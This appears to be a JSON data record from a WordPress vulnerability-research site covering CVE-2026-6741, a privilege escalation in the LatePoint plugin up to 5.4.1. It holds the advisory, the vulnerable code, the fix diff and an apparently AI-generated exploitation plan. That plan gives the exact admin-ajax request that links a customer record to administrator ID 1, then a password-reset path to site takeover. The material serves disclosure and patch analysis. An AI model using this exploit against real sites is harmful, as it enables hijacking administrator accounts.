[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fcDIkPDFHuIz_hrh2Vt-LXu5Nwoq1p3EczB6j6tR8Ai4":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":39},"CVE-2026-6741","latepoint-authenticated-agent-privilege-escalation-to-administrator-via-connect-customer-to-wp-user-ability","LatePoint \u003C= 5.4.1 - Authenticated (Agent+) Privilege Escalation to Administrator via 'connect-customer-to-wp-user' Ability","The LatePoint – Calendar Booking Plugin for Appointments and Events plugin for WordPress is vulnerable to Privilege Escalation in versions up to and including 5.4.1. This is due to a missing authorization check in the execute() method of the connect-customer-to-wp-user ability, which only requires the customer__edit capability granted to the latepoint_agent role by default, without verifying whether the target WordPress user ID belongs to a privileged account. This makes it possible for authenticated attackers with the latepoint_agent role to link any LatePoint customer record to an administrator's WordPress account and subsequently reset the administrator's password via the normal customer password-reset flow, resulting in full site takeover.","latepoint",null,"\u003C=5.4.1","5.4.2","high",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Improper Privilege Management","2026-04-27 07:23:53","2026-04-27 19:36:46",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F71e99412-031e-4f4a-9126-dd3a37975246?source=api-prod",1,[22,23,24,25,26,27],"latepoint.php","lib\u002Fabilities\u002Fcustomers\u002Fconnect-customer-to-wp-user.php","lib\u002Fcontrollers\u002Finvoices_controller.php","lib\u002Fhelpers\u002Fpayments_helper.php","lib\u002Fhelpers\u002Fstripe_connect_helper.php","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-6741 - LatePoint Privilege Escalation\n\n## 1. Vulnerability Summary\nThe **LatePoint** plugin (\u003C= 5.4.1) contains an improper privilege management vulnerability in its \"Ability\" system. Specifically, the `latepoint\u002Fconnect-customer-to-wp-user` ability allows users with the `customer__edit` capability (assigned to the `latepoint_agent` role by default) to link any LatePoint customer record to an arbitrary WordPress user ID. \n\nThe `LatePointAbilityConnectCustomerToWpUser::execute()` method in `lib\u002Fabilities\u002Fcustomers\u002Fconnect-customer-to-wp-user.php` lacks a check to prevent linking to high-privileged WordPress users (like administrators). Once linked, an attacker can use the LatePoint customer password reset flow to change the password of the linked WordPress administrator account, leading to full site takeover.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** WordPress AJAX endpoint `\u002Fwp-admin\u002Fadmin-ajax.php`.\n*   **Action:** `latepoint_route_call` (The standard router for LatePoint abilities).\n*   **Vulnerable Ability:** `latepoint\u002Fconnect-customer-to-wp-user`.\n*   **Authentication Required:** Authenticated user with `latepoint_agent` role (or higher).\n*   **Payload Parameters:**\n    *   `route_name`: `latepoint\u002Fconnect-customer-to-wp-user` (Internal route for abilities).\n    *   `customer_id`: ID of the LatePoint customer record to modify.\n    *   `wp_user_id`: ID of the WordPress administrator (usually `1`).\n*   **Nonce:** Required. Typically localized in the `latepoint_helper` JS object as `nonce`.\n\n## 3. Code Flow\n1.  **Entry Point:** The attacker sends a POST request to `admin-ajax.php` with `action=latepoint_route_call`.\n2.  **Routing:** LatePoint's AJAX router identifies the requested ability: `latepoint\u002Fconnect-customer-to-wp-user`.\n3.  **Authorization:** The ability class `LatePointAbilityConnectCustomerToWpUser` (in `lib\u002Fabilities\u002Fcustomers\u002Fconnect-customer-to-wp-user.php`) defines:\n    ```php\n    protected function configure(): void {\n        $this->permission = 'customer__edit'; \u002F\u002F Default for agents\n    }\n    ```\n    The system verifies the current user has `customer__edit`.\n4.  **Execution:** The `execute()` method is called with `args` containing `customer_id` and `wp_user_id`:\n    ```php\n    public function execute( array $args ) {\n        $customer = new OsCustomerModel( (int) $args['customer_id'] );\n        \u002F\u002F ... (check if exists)\n        $wp_user_id = (int) $args['wp_user_id'];\n        \u002F\u002F ... (check if WP user exists)\n        $customer->wordpress_user_id = $wp_user_id; \u002F\u002F SINK: No check on $wp_user_id roles\n        $customer->save();\n        \u002F\u002F ...\n    }\n    ```\n5.  **Privilege Escalation:** The LatePoint customer record is now tied to the WP Admin. Password reset requests for that customer email will now update the credentials of the WP Admin account.\n\n## 4. Nonce Acquisition Strategy\nLatePoint localizes its nonces and helper data in the WordPress admin dashboard for logged-in users (Agents\u002FAdmins).\n\n1.  **Identify Trigger:** The `latepoint_agent` user can access the LatePoint backend at `wp-admin\u002Fadmin.php?page=latepoint`.\n2.  **Navigation:** Use `browser_navigate` to the LatePoint dashboard as the Agent user.\n3.  **Extraction:** Use `browser_eval` to extract the nonce from the `latepoint_helper` object.\n    *   **JS Variable:** `latepoint_helper.nonce`\n4.  **Verification:** The script is usually enqueued on all LatePoint admin pages.\n\n## 5. Exploitation Strategy\n\n### Step 1: Link Customer to Admin\n**Request:**\n*   **Tool:** `http_request`\n*   **Method:** POST\n*   **URL:** `{{base_url}}\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```\n    action=latepoint_route_call\n    &route_name=latepoint\u002Fconnect-customer-to-wp-user\n    &_wpnonce={{extracted_nonce}}\n    &customer_id={{target_customer_id}}\n    &wp_user_id=1\n    ```\n\n### Step 2: Password Reset (Conceptual)\nOnce linked, the attacker triggers a password reset via the LatePoint customer login form (typically at a frontend page containing the `[latepoint_customer_login]` shortcode or the default booking flow). Resetting the password for the customer's email will update the password for WP User ID 1.\n\n## 6. Test Data Setup\n1.  **WordPress Admin:** Ensure a user with ID `1` exists (default).\n2.  **LatePoint Agent:** \n    *   `wp user create attacker attacker@example.com --role=latepoint_agent --user_pass=password`\n3.  **LatePoint Customer:** \n    *   LatePoint customers are stored in `wp_latepoint_customers`. Ensure at least one customer exists.\n    *   `wp eval \"oc = new OsCustomerModel(); oc->set_data(['first_name' => 'Victim', 'last_name' => 'Customer', 'email' => 'victim@example.com']); oc->save(); echo oc->id;\"` (Capture this ID).\n4.  **Plugin Settings:** Ensure LatePoint is activated.\n\n## 7. Expected Results\n*   **HTTP Response:** The `latepoint_route_call` should return a JSON object containing the serialized customer data, where `wordpress_user_id` is now `1`.\n    *   Example: `{\"status\": \"success\", \"customer\": { \"id\": \"X\", \"wordpress_user_id\": \"1\", ... }}`\n*   **Database Change:** The `wordpress_user_id` column in the `wp_latepoint_customers` table for the target customer row should be updated to `1`.\n\n## 8. Verification Steps\n1.  **Check Meta via WP-CLI:**\n    ```bash\n    wp db query \"SELECT wordpress_user_id FROM wp_latepoint_customers WHERE id = {{target_customer_id}};\"\n    ```\n2.  **Verify Linking:** Verify that the output of the query is `1`.\n3.  **Role Check (Post-Reset):** If the password reset is performed, verify the attacker can log in as the user with ID 1 using the new password.\n\n## 9. Alternative Approaches\nIf `latepoint_route_call` requires a different nonce or the routing is blocked:\n*   **Direct Controller Call:** Check if `OsCustomersController` has a direct action that wraps this ability.\n*   **In-Place Update:** Check if `OsCustomersController::update` allows passing `wordpress_user_id` directly in the `params['customer']` array, which might be handled by the same underlying model without validation.\n*   **Frontend Booking:** If the Agent can \"edit\" a customer during a manual booking, check if the `wp_user_id` field can be injected into the update request during that flow.","The LatePoint plugin for WordPress (\u003C= 5.4.1) lacks proper authorization checks when linking LatePoint customer records to WordPress user accounts. Authenticated attackers with the 'latepoint_agent' role can exploit this to associate a customer record they control with a high-privileged WordPress user ID (such as an administrator), allowing them to reset the administrator's password through the LatePoint customer password-reset flow and gain full site control.","\u002F\u002F lib\u002Fabilities\u002Fcustomers\u002Fconnect-customer-to-wp-user.php\n\n\tpublic function execute( array $args ) {\n\t\t$customer = new OsCustomerModel( (int) $args['customer_id'] );\n\t\tif ( $customer->is_new_record() ) {\n\t\t\treturn new WP_Error( 'not_found', __( 'Customer not found.', 'latepoint' ), [ 'status' => 404 ] );\n\t\t}\n\n\t\t$wp_user_id = (int) $args['wp_user_id'];\n\t\tif ( ! get_userdata( $wp_user_id ) ) {\n\t\t\treturn new WP_Error( 'wp_user_not_found', __( 'WordPress user not found.', 'latepoint' ), [ 'status' => 404 ] );\n\t\t}\n\n\t\t$customer->wordpress_user_id = $wp_user_id;\n\t\tif ( ! $customer->save() ) {\n\t\t\treturn new WP_Error(\n\t\t\t\t'save_failed',\n\t\t\t\t__( 'Failed to link customer to WordPress user.', 'latepoint' ),\n\t\t\t\tWP_DEBUG ? [ 'errors' => $customer->get_error_messages() ] : [ 'status' => 422 ]\n\t\t\t);\n\t\t}\n\n\t\treturn $this->serialize_customer( new OsCustomerModel( $customer->id ) );\n\t}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flatepoint\u002F5.4.1\u002Flib\u002Fabilities\u002Fcustomers\u002Fconnect-customer-to-wp-user.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flatepoint\u002F5.4.2\u002Flib\u002Fabilities\u002Fcustomers\u002Fconnect-customer-to-wp-user.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flatepoint\u002F5.4.1\u002Flib\u002Fabilities\u002Fcustomers\u002Fconnect-customer-to-wp-user.php\t2026-03-10 07:15:14.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Flatepoint\u002F5.4.2\u002Flib\u002Fabilities\u002Fcustomers\u002Fconnect-customer-to-wp-user.php\t2026-04-24 06:27:36.000000000 +0000\n@@ -42,11 +42,23 @@\n \t\t\treturn new WP_Error( 'not_found', __( 'Customer not found.', 'latepoint' ), [ 'status' => 404 ] );\n \t\t}\n \n-\t\t$wp_user_id = (int) $args['wp_user_id'];\n-\t\tif ( ! get_userdata( $wp_user_id ) ) {\n+\t\t$wp_user_id  = (int) $args['wp_user_id'];\n+\t\t$target_user = get_userdata( $wp_user_id );\n+\t\tif ( ! $target_user ) {\n \t\t\treturn new WP_Error( 'wp_user_not_found', __( 'WordPress user not found.', 'latepoint' ), [ 'status' => 404 ] );\n \t\t}\n \n+\t\t\u002F\u002F Only allow linking to non-privileged WP accounts using an allowlist of roles.\n+\t\t$allowed_roles = [ LATEPOINT_WP_CUSTOMER_ROLE, 'subscriber', 'customer' ];\n+\t\t$user_roles    = (array) $target_user->roles;\n+\t\tif ( empty( $user_roles ) || ! empty( array_diff( $user_roles, $allowed_roles ) ) ) {\n+\t\t\treturn new WP_Error(\n+\t\t\t\t'privileged_user',\n+\t\t\t\t__( 'Cannot link a customer to a privileged WordPress account.', 'latepoint' ),\n+\t\t\t\t[ 'status' => 403 ]\n+\t\t\t);\n+\t\t}\n+\n \t\t$customer->wordpress_user_id = $wp_user_id;\n \t\tif ( ! $customer->save() ) {\n \t\t\treturn new WP_Error(","1. Access the WordPress admin dashboard with a user account assigned the 'latepoint_agent' role.\n2. Obtain the required LatePoint nonce from the localized JavaScript variable 'latepoint_helper.nonce'.\n3. Identify the WordPress user ID of the target administrator (typically 1) and the LatePoint internal ID of a customer record (which the attacker can create or find).\n4. Send a POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' with 'action=latepoint_route_call', 'route_name=latepoint\u002Fconnect-customer-to-wp-user', 'customer_id=[TARGET_CUSTOMER]', and 'wp_user_id=[ADMIN_ID]'.\n5. Once the customer record is linked to the administrator, navigate to the LatePoint customer login page or frontend booking flow and initiate the 'forgot password' process for the email address associated with the attacker-controlled customer record.\n6. Reset the password via the link received. Due to the link established in step 4, this process updates the password for the WordPress administrator account, enabling a full site takeover.","gemini-3-flash-preview","2026-04-27 13:28:11","2026-04-27 13:28:36",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","5.4.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flatepoint\u002Ftags\u002F5.4.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flatepoint.5.4.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flatepoint\u002Ftags\u002F5.4.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flatepoint.5.4.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flatepoint\u002Ftags"]